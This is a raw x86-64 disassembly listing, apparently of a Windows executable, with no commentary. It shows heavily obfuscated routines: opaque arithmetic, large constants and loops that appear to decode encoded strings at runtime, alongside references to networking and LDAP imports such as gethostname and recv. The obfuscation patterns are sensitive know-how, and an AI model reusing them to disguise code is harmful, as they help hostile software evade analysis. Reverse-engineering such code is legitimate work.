add cl, dl
add cl, dil
mov byte [rbp + rsi + 0xc68], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xc68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007ce92
movabs rcx, 0x1656bd308a083ad9
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x11
movzx eax, byte [rbp + rsi + 0xc68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007ce92
movabs rcx, 0x89056e129217863f
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x47
jmp 0x14007ce8e
movabs rcx, 0x24cb9a9ce0bcb459
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x6f
jmp 0x14007ce7a
lea rcx, [rbp + 0x1428fac]
jmp 0x14007dad1
lea rcx, [rbp + 0x6ff89f]
jmp 0x14007dad1
lea rcx, [rbp + 0xc68]
xor r8d, r8d
mov rdx, r12
call fcn.140036bc0
test al, al
je 0x14007db35
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
mov edi, dword [r15]
cmp edi, ebx
sete dl
mov dword [rbp - 0x74], 0
mov dword [rbp - 0x70], 0
lea r9, [rbp - 0x74]
xor r8d, r8d
mov rcx, qword [r14]
call fcn.14003e490
test al, al
je 0x14007db1c
mov dword [r15], ebx
cmp edi, ebx
jne 0x14007db25
call fcn.140014a40
inc ebx
add r14, 8
cmp ebx, 4
jl 0x14007daf0
call fcn.140018d80
mov byte [rbp + 0xc90], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xc91], 0xfa
mov byte [rbp + 0xc92], 0x3f
mov byte [rbp + 0xc93], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xc94], reloc.WS2_32.dll_select
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc95], xmm0
mov qword [rbp + 0xca5], rax
mov dword [rbp + 0xcad], eax
mov word [rbp + 0xcb1], ax
movabs rsi, 0x4b27e670328ce2cf
movabs r12, 0x58e984e0c5746c53
movabs r14, 0x46cb260b3636d111
movabs r15, 0x94f81c49ab4df86b
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14022e4a8]
mov r8, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14007e94d
movzx ebx, byte [rbp + rdi + 0xc90]
mov r10, rbx
cmp r9, rdi
ja 0x14007e944
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14007dc03
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x45
jmp 0x14007dc40
je 0x14007e8bf
lea rax, [r8 + 2]
cmp r9, rax
je 0x14007e824
lea rax, [r8 + 5]
cmp r9, rax
je 0x14007e7ee
lea rax, [r8 + 3]
cmp r9, rax
je 0x14007e7c5
lea rax, [r8 + 4]
cmp r9, rax
je 0x14007e773
nop dword [rax]
cmp r8, rdi
ja 0x14007e93b
lea rax, [r8 + 0x2a]
cmp r9, rax
jae 0x14007dc6d
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x57
add r11b, dl
jmp 0x14007dcb0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14007e752
lea rax, [r8 + 2]
cmp r9, rax
je 0x14007e729
lea rax, [r8 + 3]
cmp r9, rax
je 0x14007e706
lea rax, [r8 + 7]
cmp r9, rax
je 0x14007e6e2
lea rax, [r8 + 6]
cmp r9, rax
je 0x14007e6bb
nop
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14007e327
nop dword [rax]
lea rax, [r8 + 9]
cmp r9, rax
je 0x14007e302
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x14007e2d6
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x14007e2a8
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14007e284
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14007e25c
lea rax, [r8 + 4]
cmp r9, rax
je 0x14007e229
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14007e204
lea rax, [r8 + 8]
cmp r9, rax
je 0x14007e1dd
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x14007e1a4
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14007dcc0
lea r9, [r8 + 5]
lea r8, [r9 + 0x80]
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x14007e918
lea rax, [r8 + 9]
cmp r9, rax
jb 0x14007e8f5
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x14007deb6
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14007de98
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14007de7a
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x14007e141
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14007e0e1
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14007e091
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14007e063
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x14007dcc0
lea r9, [r8 + 0x5a]
lea r8, [r9 + 0x400]
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14007e02a
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14007e002
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14007dfde
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14007dfa6
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14007df83
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14007df5b
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14007df32
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14007df01
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x14007dedd
lea rax, [r8 + 8]
cmp r9, rax
ja 0x14007dcc0
lea r9, [r8 + 2]
lea r8, [r9 + 0x40]
jmp 0x14007dcc0
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x77
add r11b, dl
jmp 0x14007dcb0
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x13
add r11b, dl
jmp 0x14007dc40
movabs rdx, 0xe325128820651fc5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x63
add r11b, dl
jmp 0x14007dbd4
movabs rdx, 0x593f338194671678
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x14007e792
movabs rdx, 0xa76c29c0097e3dd2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x14007dbc2
movabs rcx, 0xf5991ffe7e95652c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
dec rdi
inc rdi
jmp 0x14007dbc2
movabs rdx, 0x43c6163cf3ac8c86
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007e661
movabs rcx, 0x91f30c7b68c3b3e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x14007e80c
movabs rdx, 0xe02002b9dddadb3a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007dbc2
movabs rdx, 0x2e4cf8f852f20294
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
jmp 0x14007e847
movabs rdx, 0x7c79ef36c80929ee
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007e87b
movabs rdx, 0xcaa6e5753d205148
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc90]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007dbc2
movabs rcx, 0xe174d1161da33a9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x61
mov byte [rbp + rdi + 0xc90], r11b
inc rdi
jmp 0x14007dbc2
movabs rdx, 0x5c44434fd6f15b03
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x15
add r11b, dl
cmp r8, 2
jb 0x14007e081
movabs rdx, 0x6d0af18eac632912
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14007e795
movabs rdx, 0xaa71398e4c08825d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x75
add r11b, dl
cmp r9, 0x5a
jae 0x14007e637
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x14007e4f2
movabs rdx, 0x7acc8fff3f4ab296
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1a
jmp 0x14007e0b0
movabs rdx, 0xf89e2fccc11fa9b7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
dec r11b
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 5
je 0x14007e68e
lea rax, [r8 + 0x80]
cmp r9, rax
jbe 0x14007e425
movabs rdx, 0x2fa4a98f0cbdcfc7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x71
jmp 0x14007e100
movabs rdx, 0xc2ef66a12f4d50da
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc90]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007dbc2
movabs rdx, 0x111c5cdfa4647834
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x14007e87b
movabs rdx, 0x5f49531e197b9f8e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e847
movabs rcx, 0xad76495c8e92c6e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007dbc2
movabs rdx, 0xfba33f9b03a9ee42
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007e80c
movabs rdx, 0x49d035d978c1159c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
jmp 0x14007e65e
movabs rdx, 0x97fd2c17edd83cf6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007dbc2
movabs rcx, 0xe62a225662ef6450
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc r8
dec rdi
inc rdi
jmp 0x14007dbc2
movabs rdx, 0x34571894d8068baa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e792
lea rax, [r8 + 9]
cmp r9, rax
jae 0x14007e34b
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x45
jmp 0x14007e15f
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14007e388
movabs rcx, 0x964fcce06519c59e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x52
movzx eax, byte [rbp + rdi + 0xc90]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007dbc2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14007e3b5
movabs rdx, 0xf6efda81ba600dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
jmp 0x14007e65e
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14007e3ec
movabs rdx, 0xc1420769a68ed982
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007dbc2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007e162
movabs rcx, 0x7315112b3177b228
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
inc r8
dec rdi
inc rdi
jmp 0x14007dbc2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14007e451
movabs rcx, 0xe177b35097a6a86d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 5
jmp 0x14007e795
inc rax
cmp r9, rax
jne 0x14007e485
movabs rcx, 0x934abd12228f8113
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x7b
inc r8
dec rdi
inc rdi
jmp 0x14007dbc2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007e4b2
movabs rdx, 0xf6f0d0953861325f
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x67
jmp 0x14007e65e
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14007e103
movabs rcx, 0x5a96e4184e32e3ab
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x53
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007dbc2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14007e534
movabs rdx, 0x2c9f99c0ca338b3c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc90]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007dbc2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007e570
movabs rcx, 0x4218b7056aee152e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007dbc2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14007e5a1
movabs rdx, 0xf3ebc0c6f5d6edd4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007e80c
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14007e5ce
movabs rdx, 0xa5beca8880bfc67a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x56
jmp 0x14007e65e
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14007e605
movabs rdx, 0x5791d44a0ba89f20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007dbc2
lea rax, [r8 + 8]
cmp r9, rax
jne 0x14007e0b3
movabs rdx, 0xbb37e7cd217a506c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e792
movabs rdx, 0x1eddfb50374c01b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xc90]
sub r11b, al
sub r11b, 8
add r11b, bl
add r11b, dl
movabs rdx, 0x77c78030fcc06e0b
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x4d
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xc90], cl
jmp 0x14007e80c
movabs rdx, 0xd0b10511c234da5e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xc90]
add r11b, bl
jmp 0x14007e847
movabs rdx, 0xd9c0347c89d3a7ff
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 7
add r11b, dl
jmp 0x14007e87b
movabs rdx, 0x27ed2abafeeacf59
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6f
jmp 0x14007e847
movabs rcx, 0xc4471737e9191e0d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5b
jmp 0x14007e80c
movabs rcx, 0x60a103b4d3476cc1
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x47
dec rdi
inc rdi
jmp 0x14007dbc2
movabs rdx, 0xfcfaf031bd75bb75
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x33
jmp 0x14007e792
movabs rdx, 0x9954dcaea7a40a29
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1f
add r11b, dl
movabs rcx, 0xc5f4766f71d79565
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x3d
add bl, cl
mov byte [rbp + rdi + 0xc90], bl
inc r8
dec rdi
inc rdi
jmp 0x14007dbc2
movabs rcx, 0x35aec92b91d258dd
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xb
dec rdi
inc rdi
jmp 0x14007dbc2
movabs rcx, 0xd208b5a87c00a791
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 9
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007dbc2
mov rbx, r10
movabs rdx, 0x6e62a225662ef645
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x1d
add r11b, dl
movabs rdx, 0x299a89f287a946b1
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x29
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xc90], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0x82840ed34d1db304
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
mov byte [rbp + rdi + 0xc90], cl
inc r9
mov rax, r13
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc90]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007dbc2
movabs rcx, 0xabc8ea2505d44f9
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x31
movzx eax, byte [rbp + rdi + 0xc90]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007dbc2
movabs rcx, 0x315208c6957c471f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x27
jmp 0x14007dbc0
movabs rcx, 0x7f7eff050a936e79
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4f
jmp 0x14007dbb0
lea r14, [rbp + 0x178d454]
jmp 0x14007e954
lea r14, [rbp + 0xed40a7]
jmp 0x14007e954
lea r14, [rbp + 0xc90]
lea rdx, [0x140228080]
lea rcx, [rbp + 0x5b8]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x48]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a3852
mov byte [rbp + 0xcb8], 0x63
mov byte [rbp + 0xcb9], 0x78
mov byte [rbp + 0xcba], 0x79
mov byte [rbp + 0xcbb], 0x78
mov byte [rbp + 0xcbc], 0x84
mov byte [rbp + 0xcbd], WSACleanup
mov byte [rbp + 0xcbe], 0x7f
mov byte [rbp + 0xcbf], 0x75
mov byte [rbp + 0xcc0], 0x7f
mov byte [rbp + 0xcc1], 5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcc2], xmm0
mov qword [rbp + 0xcd2], rax
mov byte [rbp + 0xcda], al
movabs r15, 0x5775169e306438aa
movabs r12, 0xe15c58c1ba35d896
movzx r11d, byte [rsp + 0x40]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
movabs rdx, 0xc0a6875d5413eb92
movabs rax, 0x105ae8b23310f682
cmp rbx, 0x23
jae 0x14007f8cf
movzx edi, byte [rbp + rbx + 0xcb8]
mov r10, rdi
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007f8c6
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14007ea7c
lea rcx, [rbx + rax]
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
add r11b, 0x72
jmp 0x14007eac3
je 0x14007f831
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007f792
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007f759
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007f722
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007f6c0
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007f66a
cmp r9, rbx
ja 0x14007f8bd
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14007eafc
lea rdx, [rbx + r15]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xc0a6875d5413eb92
jmp 0x14007eb30
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007f659
inc rax
cmp r8, rax
je 0x14007f627
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007f5f3
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007f5b9
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007f1f1
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007f1cd
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007f1a0
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007f176
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007f152
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007f11b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007f0e2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007f0b9
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007f090
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14007f056
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007eb40
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007f894
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007f86b
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007ed36
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007ed0d
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007ecf2
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007eff0
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007ef93
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007ef47
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007ef13
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007eb40
lea r8, [r9 + 0x41]
lea r9, [r8 + 8]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007eede
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007eeba
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14007ee91
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14007ee58
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007ee1c
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14007edf3
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007edc4
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007ed97
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007ed73
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007eb40
lea r8, [r9 + 0x61]
lea r9, [r8 + 5]
jmp 0x14007eb40
lea rcx, [rbx + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1a
jmp 0x14007eb30
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xc0a6875d5413eb92
jmp 0x14007eac3
movabs rdx, 0x9ff0b5f8edf1fe8e
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xc0a6875d5413eb92
movabs rax, 0x105ae8b23310f682
jmp 0x14007ea48
movabs rcx, 0xbba8b4f18321c550
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x30
jmp 0x14007f68e
movabs rcx, 0x9af2e38d1cffd84c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x14
inc r9
dec rbx
inc rbx
jmp 0x14007ea22
movabs rdx, 0x7a3d1228b6ddeb48
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x14007ea22
movabs rdx, 0x598740c450bbfe44
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f6e3
movabs rdx, 0x38d16f5fea9a1140
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
movabs rdx, 0x181b9dfb8478243c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ea22
movabs rdx, 0xf765cc971e563738
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f7b7
movabs rcx, 0xd6affb32b8344a34
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6c
jmp 0x14007f7e7
movabs rcx, 0xb5fa29ce52125d30
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
movzx eax, byte [rbp + rbx + 0xcb8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ea22
movabs rdx, 0x64339e5352bd8ca6
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
mov byte [rbp + rbx + 0xcb8], r11b
inc rbx
jmp 0x14007ea22
movabs rcx, 0x437dcceeec9b9fa2
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6e
cmp r9, 0x42
jb 0x14007ef37
